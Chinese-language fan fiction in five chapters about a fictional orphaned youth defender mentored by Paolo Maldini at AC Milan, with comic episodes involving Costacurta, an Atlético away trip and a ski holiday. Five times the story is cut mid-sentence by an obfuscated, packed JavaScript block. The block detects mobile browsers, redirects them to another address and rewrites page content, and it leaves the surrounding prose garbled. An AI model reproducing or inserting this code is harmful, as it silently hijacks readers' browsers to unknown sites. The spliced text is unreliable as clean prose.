《[足球]意大利后卫该如何在西甲立足》 1. 第 1 章 米兰内洛青训营的草坪在暮色中泛着银光，米勒尔·耶莱斯把第四个足球摆上点球点时，右肩传来布料撕裂的声响——这件从福利院带来的旧衣服已经裹不住他抽条的身形，十一岁少年的睫毛在夕照里镀着金边，瞳孔却比亚平宁半岛最深的湖泊还要幽暗 保罗·马尔蒂尼站在二层办公室的落地窗前，看着那个单薄身影第无数次重复着诡异的训练：将球门立柱当作假想敌，用脚尖在草皮划出复杂的折线，突然启动时带起的草屑在逆光中如同金色尘暴 这个月第三次造访青训基地的米兰3号，终于忍不住用指节叩响玻璃 “那是空间感知训练”青训主管顺着他的视线望去，“那孩子能闭着眼睛说出场上二个人在场上的战术站位，上周友谊赛，他在观众席用口香糖包装纸画出了对方前锋的跑位路线图，精准的可怕” 看着少年再一次无球跑动，他轻声问“那孩子是踢什么位置的” 青训主管沉默很久，才苦涩的吐出一句话 “那孩子是我们这里最有天赋的，可惜了，是后卫” 米兰3号愣住了，他知道为什么可惜，因为这孩子灵气的球风开阔的视野都可以证明这是一个绝对的中场好苗子，但他恰恰不巧是最吃身体的后卫 “他叫什么？” “米勒尔·耶莱斯” 暮色渐浓时，马尔蒂尼在更衣室后的窄巷截住了抱着脏球衣的少年 潮湿的砖墙滴着米兰四月的夜露，他看见对方卫衣领口露出的淤青——那是今早对抗训练时被撞飞的痕迹 “为什么不喊疼？”他的影子完全笼罩住少年，“明明可以提前预判到碰撞” “预判到痛苦就可以完全避免受伤吗？”耶莱斯的声音像被砂纸磨过的提琴弦 他蹲下身整理散落的球袜，后颈脊椎凸起如一串倔强的珍珠，这孩子瘦的的不像话 马尔蒂尼想，难怪他有这极佳的感知能力却遍体鳞伤 当夜十一点，马尔蒂尼的车灯刺破训练场铁门的黑暗，月光下那个单薄身影正在进行某种仪式般的训练：将二十个训练桩摆成迷宫，用外脚背带球穿梭，球鞋与草皮摩擦的声响宛如夜曲 最令米兰3号震撼的不是百分之八十的通过率，而是少年每次触球前都会下意识护住左肋和左腿减少受力——那里分明没有任何旧伤 他站在阴影里看着少年轻薄的身体执着的带球，动作灵气飘逸 “你预判的不是足球，是命运给予的每一次撞击”马尔蒂尼的声音惊飞了栖息的夜莺 他走进场地，黑色训练服与夜色融为一体，“但真正的防守艺术，是把预判变成对全队的庇护”说着突然起脚，皮球如炮弹般轰向少年面门 耶莱斯在千钧一发之际偏头躲过，足球擦着耳际撞上球网，这个动作让他想起七岁那年躲过的酒瓶，福利院走廊飞来的碎玻璃总比圣诞礼物来得准时 “您怎么...”少年抬起头第一次完整露出那张继承着托斯卡纳血统的面孔——本该盛满阳光的轮廓，却被过早来临的寒冬冻成了雕塑，略带迷茫惊讶的神色却给他蒙上一层稚气 “从明天开始，每天加练两小时”马尔蒂尼抛来自己的备用护腿板，银色米兰队徽在月光下流转，“真正的后卫要学会把疼痛转化为盾牌” 他转身时瞥见少年将护腿板紧紧贴在胸口，仿佛那是失而复得的肋骨 三个月后的暴雨天，青训营更衣室弥漫着止血喷雾的苦涩，耶莱斯蜷缩在储物柜角落，湿漉漉的卷发贴在额前，像只被遗弃的威尼斯落水犬 马尔蒂尼单膝跪地查看他小腿上因为对抗赛拦截对方前锋单刀而划开的十公分长的伤口，医用棉签突然被攥住——少年食指精准按在他腕间的旧伤疤上< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324990|167563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “200天前的欧冠半决赛”耶莱斯的呼吸带着高烧般的颤抖，“您用这个伤口换了罗纳尔多的单刀”他的瞳孔因疼痛扩散成漆黑的湖，却倒映着惊人的星光，“当时风速影响传球路线，草坪湿度让滑铲距离缩短了15厘米...” 马尔蒂尼的手悬在半空。他想起父亲讲述的古老传说，亚平宁山脉深处有种能看穿岩石的雪貂 “搬来和我住”这句话脱口而出时，雨点正敲打着更衣室的铁皮屋顶，带着马尔蒂尼自己都不知道的心慌“明天开始学习用身体阅读比赛，而不只是用眼睛” 耶莱斯幽深的眼睛第一次有了波动了，像幽谧的湖面砸入了石块泛起漪涟，马尔蒂尼听见少年微不可查的回应 “好” 在科莫湖畔的别墅里，耶莱斯第一次触摸到真正的防守艺术，马尔蒂尼在客厅地板上用红酒渍画出战术图，教他如何用站位引导对手踏入陷阱；早餐时用面包屑演示三角联防，餐刀在培根油脂上划出精妙的折线 某个起雾的清晨，少年在花园里成功预判了马尔蒂尼长达三秒后的变向突破，代价是撞碎了三株马尔蒂尼母亲最爱的玫瑰 2002年圣诞前夜的圣西罗球场，17岁的耶莱斯迎来了人生首次国家队征召，u18正式征召他参加国青 当维耶里像装甲车般碾过后防线时，少年突然想起暴雨夜科莫湖的涟漪——马尔蒂尼教他用水的柔劲化解冲击 电光石火间，他侧身让出半步空当，在对方重心偏移的刹那用膝弯完成了一次精妙绝伦的截断 终场哨响时，看台飘落的红黑色纸雨中，马尔蒂尼将沾满草屑的3号球衣抛向少年 “你该有自己的号码了”他的笑容带着科莫湖晨雾的温柔 耶莱斯低头看见手背上凝结的血珠，忽然意识到那些预判的疼痛早已化作守护他人的铠甲 2. 第 2 章 科莫湖畔的清晨总是裹挟着薄雾，耶莱斯站在厨房窗前，看着阿德里亚娜将新鲜罗勒叶撕碎撒在意式烘蛋上 这是他在马尔蒂尼家寄住的第三年，依然保持着清晨五点起床训练的习惯，不同的是，现在总能在六点准时闻到早餐的香气 “米勒尔，来尝尝这个”阿德里亚娜将冒着热气的瓷盘推到他面前，“保罗说你最近训练量又增加了” 她的目光扫过少年愈发结实的肩膀，那里还留着昨日的训练痕迹，熬夜研究比赛的少年带着起床时的迷蒙，乱翘的发丝让他更加无害柔软 耶莱斯低头切下一小块烘蛋，浓郁的奶酪香气在舌尖绽放，他想起三年前第一次在这里用餐时，紧张得差点打翻番茄酱，那时的他像个误入城堡的流浪儿，连刀叉都拿不稳 “今天休息日，”马尔蒂尼的声音从楼梯口传来，他穿着休闲的米色针织衫，手里晃着车钥匙，“比利约我们去湖边野餐” 科斯塔库塔的红色法拉利停在门外时，耶莱斯正在往背包里塞战术笔记本，这个习惯让马尔蒂尼哭笑不得——连野餐都要研究阵型图，难怪《米兰体育报》称他为"足球苦行僧" “放松点，孩子”科斯塔库塔摘下墨镜，露出标志性的狡黠笑容，“今天不聊足球，只聊美食和美景” 他变魔术般从后座拿出一个野餐篮，“阿德里亚娜的特制提拉米苏，错过可惜” 湖边的阳光穿透云层，在波光粼粼的水面上洒下碎金，耶莱斯盘腿坐在野餐垫上，看着科斯塔库塔笨手笨脚地打开红酒瓶塞 这个在球场上令前锋闻风丧胆的铁卫，在生活中却像个长不大的孩子 “听说你上周防死了摩特？“科斯塔库塔递给他一杯果汁，"那家伙赛后气得把更衣室的门都踹歪了” 摩特是隔壁尤文青训的前锋，上周比赛时对阵他们，耶莱斯全场扫荡后场，防守密不透风，对面一个球都没有进 他夸张地模仿着摩特的表情，逗得阿德里亚娜笑出声 耶莱斯抿了一口果汁，酸甜的口感让他想起某个训练日的午后，那天他正在研究国际米兰的比赛录像，阿德里亚娜悄悄将一盘提拉米苏放在他手边 那是他第一次主动和除了马尔蒂尼以外的人讨论战术，话题从区域联防聊到心理博弈，直到暮色降临 “米勒尔，“马尔蒂尼的声音将他拉回现实，“你知道为什么我总带你来这里吗？”他指着湖对岸的别墅群，“那里住着很多退役球员，他们教会我一件事：足球很重要，但不是全部” 微风拂过湖面，带来远处游艇的汽笛声，耶莱斯看着波光中嬉戏的天鹅，突然想起自己已经很久没有在训练场待到深夜了 阿德里亚娜的烘焙课、科斯塔库塔的冷笑话、马尔蒂尼的战术讲解，这些零碎的日常像拼图般填补着他内心的空白 马尔蒂尼拿出来钓鱼竿，科斯塔库塔这个幼稚的男人欢呼一声就夺过去去找地方钓鱼，耶莱斯则看了看马尔蒂尼准备的鱼饵，又看了看马尔蒂尼 在马尔蒂尼笑容中问出了自己的疑问，声音带着难以压制的震惊 “你是什么时候准备的？” 马尔蒂尼揶揄的眨眨眼，笑着说这是阿德里亚娜在昨天晚上就准备，只是某个小孩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324991|167563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 沉迷于自己的战术录像带 少年被戳破自己的秘密羞得耳尖像被咬了一口一样，红彤彤的这个时候科斯塔库塔跑了回来 “要不要试试划船？”科斯塔库塔指着岸边的白色小艇，“我保证不会让你掉进湖里”他眨眨眼，露出恶作剧般的笑容 耶莱斯犹豫了一下，脱下外套递给阿德里亚娜，这是他第一次在非训练场合露出笑容，阳光下的少年仿佛卸下了沉重的盔甲，展现出与年龄相符的朝气 小艇划破湖面的瞬间，耶莱斯听见科斯塔库塔哼起了《我的太阳》，这个总是嬉皮笑脸的男人，此刻却用最温柔的声音唱着：“多么辉煌那灿烂的阳光...”他忽然明白，为什么马尔蒂尼总说比利是他最好的朋友 因为他总会用自己的方式让你慢慢打开心扉，你不会有任何不适 后来这个高大的男人非要展示自己能在船上甩出超远的鱼钩，最后用力过猛一头扎进水里，还把惊慌失措拉他的耶莱斯拉下水 回程的路上，耶莱斯靠在车窗边，看着夕阳将科莫湖染成金色 他的背包里依然装着战术笔记本，但这次多了一张四人合影——那是阿德里亚娜用拍立得记录下的瞬间，照片里的他笑得像个普通少年 “下周我们去海边吧，”马尔蒂尼从后视镜里看着他，“听说那里的海鲜意面很不错”他的语气轻松，仿佛在讨论明天的训练计划 耶莱斯点点头，目光落在后视镜里科斯塔库塔的红色法拉利上，他突然觉得，或许生活不只是足球和战术，还有科莫湖的阳光、阿德里亚娜的烘蛋，以及比利永远讲不完的冷笑话 3. 第 3 章 马尔蒂尼第三次把产检报告和战术笔记装错文件夹时，科斯塔库塔正蹲在训练场边啃着帕尼尼 他透过更衣室的百叶窗，看见耶莱斯像往常那样在战术板上画着复杂的跑位图，突然意识到这是自己接过"育儿权"的最佳时机 刚好最近马尔蒂尼忙于照顾快要分娩的妻子，于是科斯塔库塔轻松的就把耶莱斯的监护权抢了过去 “听着，小古董”科斯塔库塔把少年堵在淋浴间门口，手里晃着法拉利钥匙，“未来三个月，你得学会真正的意大利生存法则” 他的食指与中指并拢向上翘起，做了个经典的小鸡手势，“首先，忘记那些该死的战术术语“ 耶莱斯抱着换洗衣物后退半步，这个动作让科斯塔库塔想起被自己逼到角旗区的倒霉前锋 他忽然掏出手机播放去年圣诞聚餐视频：画面里马尔蒂尼正用双手演绎三后卫体系的漏洞，阿德里亚娜挺着孕肚在旁边同步翻译成手势语言 “看见没？“科斯塔库塔暂停在马尔蒂尼双手交叠成菱形的瞬间，“在亚平宁半岛，手比嘴快才是真理” 他抓起少年的手腕，强行摆出“你到底在说什么鬼“的经典手势，“下次你们教练再吼你漏防，就这么回敬他” 耶莱斯惊异中带着跃跃欲试，就这么轻松的被科斯塔库塔带上了新的世界 第一周的特训在米兰大教堂广场进行，科斯塔库塔戴着滑稽的墨镜，教耶莱斯如何用“蜘蛛手”吓退推销假表的小贩 “手腕要像托蒂踢勺子点球那样优雅”他示范时引来五个游客拍照，“记住，气势比实际动作更重要” 少年生涩地模仿着，手指蜷曲的弧度像在演练新式防守技巧，当有个街头画家试图给他画像时，耶莱斯下意识用科斯塔库塔教的“拒绝三连击“——手掌外推、指尖旋转、最后配上翻白眼 画家愣了两秒突然鼓掌：“完美！这就是新文艺复兴时期的《拒绝的维纳斯》！” 三周后的某个雨夜，科斯塔库塔带耶莱斯混进圣西罗南看台，当国际米兰球迷开始辱骂时，少年在科斯塔库塔怂恿下站起身，用一套行云流水的组合手势完成反击：先是指尖吻别（去你的），接着手掌拍肘（省省吧），最后拇指插耳疯狂摇摆（你们吵到我眼睛了） 整个客队看台陷入诡异的寂静，直到有个老头颤巍巍举起相机：“上帝啊，我见到了手势界的马拉多纳！” 当马尔蒂尼终于从尿布和奶粉罐中脱身回到训练场时，迎接他的是一副魔幻场景：耶莱斯正在用双手和青训助教进行“友好交流”少年左手比划着“你该剪头发了”，右手同步做出“上次断球战术是蒙的吧”，最后用科斯塔库塔亲传的终极杀招——双手合十后突然炸开，配合口型"砰" “保罗！“青训助教满脸通红地冲过来，“管管你的宝贝徒弟！他现在骂人都不带脏字了！“ 更衣室里的对峙持续了二十分钟，马尔蒂尼看着缩在长椅上的耶莱斯，少年正用"小鸡手"默默拼出“我错了“的暗号 “解释“米兰队长揉着太阳穴，余光瞥见科斯塔库塔在门外探头探脑 心里冷笑一声，八成有了答案 耶莱斯举起战术板，上面画着精密的防守阵型图——全部用不同手势符号标注 他先是指指自己喉咙摆了摆手（不想和别人说话），再模仿科斯塔库塔转方向盘的动作（被迫学习），最后双手合拢做开花状（但很有趣） “科斯塔库塔！”马尔蒂尼的怒吼惊飞了窗外的鸽子，“你给我滚进来解释！“ 始作俑者嬉皮笑脸地晃进来，手里还端着两杯浓缩咖啡 “放松点，保罗“他递给耶莱斯一杯，“没发现他现在更擅长表达了吗？” 突然抓起少年的手速比一套暗语：“上周他就是用这个提醒我因扎吉要反越位“ 上一周刚好耶莱斯去做球童 马尔蒂尼凑近细看，发现耶莱斯正用指尖在膝盖上悄悄比划战术手势：比利教的，但真的有用 他突然想起上周比赛录像，少年确实在对方前锋启动前0.3秒做出了预警手势 “至少他没学我的脏话”科斯塔库塔得意地挑眉，“现在全队都叫他''手语大师''，连阿里都找他学怎么用暗号骂裁判呢” 夜幕降临时，马尔蒂尼在停车场逮到正在教耶莱斯"停车骂人术"的科斯塔库塔 少年见到监护人立即双手合十，却在背后用尾指悄悄比出“救命”的暗号 这个狡黠的小动作让马尔蒂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324992|167563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尼突然想起十年前的自己——彼时他也在科斯塔库塔怂恿下，往萨基的咖啡里加过盐 “下不为例“马尔蒂尼最终叹气，伸手揉乱耶莱斯的卷发 少年立刻用手语比出“遵命“，却在转身时对着科斯塔库塔快速摆动拇指——这是他们新发明的"作战成功"暗号 月光洒在科莫湖面上时，阿德里亚娜看着婴儿房监控笑出声，画面里，新任哥哥耶莱斯正对着摇篮里的妹妹比划战术手势，小婴儿挥舞的拳头竟与他"小鸡手"的节奏完美同步 而在楼下客厅，两个米兰传奇正为“哪种手势更适合骂裁判”吵得不可开交 第二天训练课上，耶莱斯用双手演绎着4-3-1-2阵型的变化，每个手势都精准得像在指挥交响乐 当队友提出质疑时，少年双手交叉成十字（防守漏洞），接着五指并拢前推（建议压上），最后来了个科斯塔库塔亲传的“你行你上” “老天”青训教练摘下眼镜擦拭，“我执教二十年，第一次见到用手语开战术会议的” 他转向马尔蒂尼，“你确定这孩子不是那不勒斯街头艺术家转行踢球的？” 马尔蒂尼还没来得及回答，科斯塔库塔已经跳起来比划：“这叫亚平宁半岛非物质文化遗产！”他的动作夸张得像个马戏团小丑，却让耶莱斯第一次在更衣室笑出声 笑声中，马尔蒂尼忽然意识到什么，他看向少年，发现对方正用科斯塔库塔教的“感谢”手势对着自己——双手交叉放在心口，然后轻轻推开 这个动作让米兰队长想起多年前，自己第一次在青年队进球时，老马尔蒂尼在看台上做出的相同手势 “好吧，”马尔蒂尼无奈地耸肩，“至少他学会了表达”他转向科斯塔库塔，“但你得保证，下次教他点正常的东西” “比如？”科斯塔库塔眨眨眼 “比如怎么用正常语言跟记者解释，为什么我们的小甜菜后卫在比赛中对着裁判比划''你老婆做的意大利面真难吃''” 更衣室爆发出哄堂大笑 耶莱斯站在人群中央，双手比出"胜利"的手势，这一刻，他终于不再是那个只会用战术板说话拒绝与他人亲近的少年，而是真正融入了这个充满烟火气的足球世界 4. 第 4 章 后来米兰要去马竞客场作战，缺少球童时把耶莱斯带过去凑数，耶莱斯做马尔蒂尼的球童，科斯塔库塔还囔囔为什么不是他 比赛结束之后耶莱斯被叫过去收拾米兰队的器材和杂物 卡尔德隆球场的灯光渐次熄灭时，耶莱斯正蹲在客队更衣室的角落整理护腿板 十四岁少年的影子被拉得很长，像一株误入伊比利亚半岛的意大利柏树，他数到第三遍护腿板时，突然意识到更衣室安静得可怕 “?Hola, peque?o italiano!”（嘿，意大利小家伙！）一个洪亮的声音在门口炸响 耶莱斯抬头看见马竞队长正倚在门框上，手里晃着一串西班牙辣香肠，“Te gusta el chorizo?”（喜欢香肠吗？） 少年下意识后退半步，后背贴上冰冷的瓷砖，他想起科斯塔库塔教过的"国际通用手势"——双手交叉在胸前，配上坚定的摇头 但这个动作似乎起了反效果，因为门口突然又冒出三个马竞球员 “?Mira, es el ni?o que marcó a Torres'' !“（看啊，就是这小子防死了托雷斯！）一个留着络腮胡的后卫兴奋地比划着，“?Ven a probar nuestra paella!”（来尝尝我们的海鲜饭！） 耶莱斯感觉自己像被围观的稀有动物，他试图用战术板解释自己要回酒店，但画出的手势图被马竞球员误认为是邀请他们讨论战术 更糟的是，当他用意大利语说“我要回家”时，对方以为他在赞美西班牙火腿，更崩溃的是他自己也根本听不懂对方再讲什么 “?Escucha, chico!”（听着，孩子！）马竞门将突然单膝跪地，掏出一件红白球衣，“?El Atlético es tu familia!”（马竞就是你的家！）他的表情虔诚得像在求婚 耶莱斯惊恐地发现，自己已经被逼到战术白板前，马竞球员们正用各种手势和半生不熟的意大利单词，试图说服他来到马竞 有人展示奖杯陈列室照片，有人模仿西蒙尼的激情庆祝动作，甚至有人开始用战术笔在白板上画违约金数字 乱中被推进室内训练场时，耶莱斯的运动鞋在塑胶地板上发出刺耳的摩擦声 十五盏顶灯将场地照得如同白昼，马竞B队的小子们正在加练点球，当西蒙尼把足球塞进他怀里时，少年突然想起马尔蒂尼的警告：南欧人的热情有时比链式防守更难招架 与此同时，米兰的包机正滑向跑道，马尔蒂尼突然从瞌睡中惊醒：“等等，谁看见米勒尔了？” 他环顾四周，发现本该坐在身边的少年不见了踪影，机舱里响起此起彼伏的惊呼声，空乘人员开始翻找座位底下的储物格，仿佛耶莱斯会像丢失的耳机一样突然出现 马尔蒂尼环顾四周，发现科斯塔库塔正用毯子蒙着头打呼噜 “该死！”马尔蒂尼冲向驾驶舱，“掉头！我们落下了最重要的行李！” 科斯塔库塔被马尔蒂尼一拳打醒时，迷迷糊糊地比出"小鸡手"：“发生什么了？耶莱斯又在战术板上画了什么惊世骇俗的阵型？” “比那更糟，”马尔蒂尼咬牙切齿，“我们把他落在马竞了” 机长紧急中止起飞时，教练正在用对讲机咆哮：“掉头！掉头！我们丢了一个小甜菜后卫！” 当马尔蒂尼和科斯塔库塔浑身湿透地冲进来，后者还在用西班牙语大喊：“?Devuélvannos a nuestro ni?o!”（把我们的孩子还来！ 耶莱斯蜷缩在战术白板前，周围摆满了马竞球员送来的各种"贡品"——从海鲜饭到球衣，从签名照到训练基地参观券 少年脸上写满惊恐，手里还攥着半根没吃完的西班牙油条 “?No, gracias!”（不，谢谢！）耶莱斯用刚学会的西班牙语拒绝又一个马竞球员的拥抱，抬头看见马尔 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324993|167563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蒂尼站在门口那一刻，十四岁少年的眼眶突然红了 “对不起，”耶莱斯的声音带着哭腔，“我把自己弄丢了” 这是马尔蒂尼第一次见到耶莱斯委屈的掉眼泪，甚至是第三次见他掉小金豆，一时间马尔蒂尼愧疚极了 马尔蒂尼大步上前，将少年搂进怀里，他闻到了耶莱斯头发上的橄榄油味道——显然马竞球员试图用美食攻势打动这个意大利胃的少年 “下次记得，”马尔蒂尼揉乱少年的卷发，轻轻擦掉他眼角的湿润 “遇到这种情况就用科斯塔库塔教你的终极手势” 耶莱斯从教练怀里抬起头，双手比出那个著名的手势：拇指和食指捏在一起，其他手指张开，在脸颊旁晃动 这个动作让马竞球员集体后退三步 “?Madre mía!”（我的天！）马竞队长捂住胸口，痛心疾首“这孩子已经是个地道的意大利人了！” 回程的飞机上，耶莱斯枕着马尔蒂尼的肩膀睡着了，他的运动包里塞满了马竞球员硬塞的纪念品，口袋里还揣着一张写满电话号码的餐巾纸——“随时欢迎来马竞试训” 科斯塔库塔凑过来偷看时，马尔蒂尼做了个噤声的手势，月光透过舷窗洒在少年脸上，他嘴角挂着安心的微笑，手里还紧紧攥着那枚银色战术板吊坠 “下次，”马尔蒂尼轻声说，“我们得给这孩子配个翻译” “或者，”科斯塔库塔眨眨眼，带着狡黠的笑 “教他更多国际通用手势” 月光洒在米兰马尔彭萨机场的跑道上时，耶莱斯在睡梦中呢喃着西班牙语单词 马尔蒂尼轻轻摘下粘在少年头发上的藏红花，突然意识到：这个总是安静得像影子一样的孩子，已经开始在足球世界里留下自己的印记了 机舱里响起压抑的笑声，耶莱斯在睡梦中动了动，似乎梦见了美味的意大利面，这一刻，他不再是那个被遗忘在异国他乡的少年，而是被整个米兰大家庭守护的珍宝 5. 第 5 章 1998年的冬天，米兰城飘着细雪，圣西罗球场的霓虹灯在夜色中闪烁，映照着"我们是冠军"的巨幅海报 刚刚结束的意甲上半程，米兰以不败战绩领跑积分榜，但主教练扎切罗尼的脸上却看不到太多喜悦 “我们需要新鲜血液，“他在更衣室里踱步，“不是现在，是未来”他的目光扫过马尔蒂尼，“保罗，听说青训营有个小家伙...“ 与此同时，米兰内洛青训基地的灯光还亮着，耶莱斯蹲在战术板前，用粉笔画出马竞的4-4-2阵型，十四岁少年的睫毛上结着霜，手里的笔记本记满了托雷斯的跑位 “该休息了，”马尔蒂尼的声音从门口传来，他穿着98年新款Moncler羽绒服，手里提着保温杯，“明天全队去滑雪，你也来” 耶莱斯抬起头，战术板上的粉笔灰簌簌落下。他想起上周在卡尔德隆球场的窘境，下意识摸了摸口袋里的战术板吊坠 第二天清晨，米兰全队的大巴驶向科尔蒂纳丹佩佐车载音响里放着Spice Girls的歌，加图索跟着节奏摇头晃脑，完全没注意到自己的Walkman耳机线缠住了因扎吉的围巾 “伙计们，”马尔蒂尼站在车头，手里晃着最新款的诺基亚手机，“忘记训练，忘记战术，今天我们要——” “度假！”众人鬼哭狼嚎 “我们到了！“科斯塔库塔一手拿着滑雪板直接跳车，手里的滑雪板差点戳中加图索的鼻子 这位刚转会米兰的暴躁中场正用西西里方言咒骂着，手里拎着从青训营顺来的折叠椅 在他身后，米兰一线队的豪华中巴里陆续钻出十一道身影：门将罗西裹得像头北极熊，边走边抱怨手套太厚；副队长阿尔贝蒂尼正给安布罗西尼科普雪地生存法则；丹麦硬汉赫尔维格扛着三副雪橇，活像北欧神话里的霜巨人；克罗地亚中场博班优雅地叼着雪茄，仿佛来参加时装周；法国铁卫德塞利操着法式意大利语，试图向挪威新援萨拉解释"雪盲症"的严重性；锋线双煞乔治·维阿和奥利弗·比埃尔霍夫则用头球争抢着一顶毛线帽 “先生们，”马尔蒂尼敲了敲车顶，“谁能解释为什么十二个人的队伍只带了两副滑雪板？” 众人面面相觑，罗西举起戴着守门员手套的手：“我带了扑点球的手套！”赫尔维格晃了晃雪橇：“我以为是来参加冬季两项的”维阿露出招牌白牙：“非洲不下雪啊朋友！” 滑雪用品店里，老板看着鱼贯而入的米兰球星们，眼睛亮得像发现了金矿 “啊，冠军们！”他搓着手，“我们这里正好有最适合你们的装备——” 耶莱斯看着价签上那一串零，感觉比马竞球员的西班牙语还难懂，当他试图用手势解释价格太贵时，老板误以为他在讨价还价，又往上加了20% “这是抢劫！”维阿举着一副滑雪板，“在米兰能买十副了！“ "但这里是滑雪胜地，"老板露出奸商的标准微笑，“而且...”他意味深长地看着马尔蒂尼，“你们也不想被《米兰体育报》拍到用劣质装备吧？” 最终，米兰全队含泪刷爆了信用卡，耶莱斯抱着新买的滑雪装备，感觉比防守托雷斯多还累 滑雪场上，马尔蒂尼优雅地滑出一道弧线，像在圣西罗球场带球突破，而他的队员们则像一群刚学会走路的企鹅，在雪地上东倒西歪 “救命！”博班的尖叫划破天际，他以一个完美的倒栽葱姿势扎进雪堆，只露出两条不停抽搐的腿 耶莱斯试图用战术思维分析滑雪技巧，结果画出的抛物线让他以更快的速度冲向护栏，千钧一发之际，他想起科斯塔库塔教的"国际通用手势"，双手疯狂摆动试图保持平衡，却让场面更加滑稽，结果像只被拔了毛的雏鸟般滚下了山坡 阿尔贝蒂尼试图用长传脚法控制方向，结果雪杖戳进雪堆摔了个"倒挂金钩"， 安布罗西模仿冰球运动员的急停，整个人在冰面上旋转着撞向护栏，博班追求优雅的蛇形走位，却像失控的陀螺般撞翻了三个雪人，维阿凭借百米冲刺的速度直冲而下，最后抱着雪松高喊"妈妈咪呀"，比埃尔霍夫试图用头球技巧保持平衡，结果金发上堆起半米高的雪团，德塞利用法语咒骂着坡度，结果雪板卡进冰缝上演"一字马"，萨拉被北极光分神，连人带板滑进了咖啡厅的露天座赫尔维格展示北欧血统，却在跳台飞起时吓得扔掉了雪杖，罗西用守门员扑救动作应对滑坡，结果在雪地上犁出五米长的人形坑，加图索边滑边吼叫壮胆，声波震落了松树上的积雪，因扎吉摆着最帅气的姿势冲下缓坡，却在镜头前摔了个狗吃屎； 就在这时，一群记者发现了马尔蒂尼 米兰队长优雅地讲述着冬歇期的计划，完全没注意到身后的"背景板" 首先是阿尔贝蒂尼，他像失控的雪地摩托一样呼啸而过，嘴里还喊着"让开让开"，接着是维阿，他试图摆个帅气的pose，结果摔了个四脚朝天，博班雪茄掉进衣领，边滑边拍打后背冒出滚滚浓烟，德赛利扛着断裂的雪杖狂奔，仿佛在带球突破雪怪防线，比埃尔霍夫顶着一头"雪蘑菇"，活像移动的圣诞树，最后是科斯塔库塔，他不知从哪找来一面米兰队旗，像披风一样系在脖子上，结果被旗子缠住滚成了雪球 耶莱斯本想优雅地滑过，却被博班的求救声分散了注意力，当他试图救援时，两人一起滚下了缓坡，像两个纠缠在一起的雪球 记者们的胶片相机疯狂闪烁，记录下这难得的一幕，马尔蒂尼强忍着笑意，继续回答关于冬歇期训练计划的问题，而他的队员们则在他身后上演着一出出闹剧 采访终于结束时，马尔蒂尼转身看到的场景让他哭笑不得：科斯塔库塔整个人倒栽在雪堆里，只有两条腿在空中乱蹬；耶莱斯正努力拽着他的脚，试图把他拔出来；而其他队员则 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15324994|167563||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 围成一圈，有的用最新款的柯达相机拍照，有的录像，还有的甚至开起了赌局——赌科斯塔库塔能在雪里憋多久 “你们这群没良心的！”科斯塔库塔的声音闷闷地从雪堆里传来，“等我出来，我要把你们的糗照全卖给《米兰体育报》！” 耶莱斯累得满头大汗，终于把科斯塔库塔拽了出来，两人一起摔在雪地上，喘着粗气 少年突然发现，科斯塔库塔的头发上结满了冰碴，像戴了一顶滑稽的冰冠 “嘿，小古董，”科斯塔库塔喘着气说，“你知道吗？你刚才救我的样子，比防守罗纳尔多还帅” 耶莱斯还没来得及回答，一个雪球就砸在了科斯塔库塔脸上，阿尔贝蒂尼的狂笑从远处传来：“让你刚才偷拍我摔跤！” 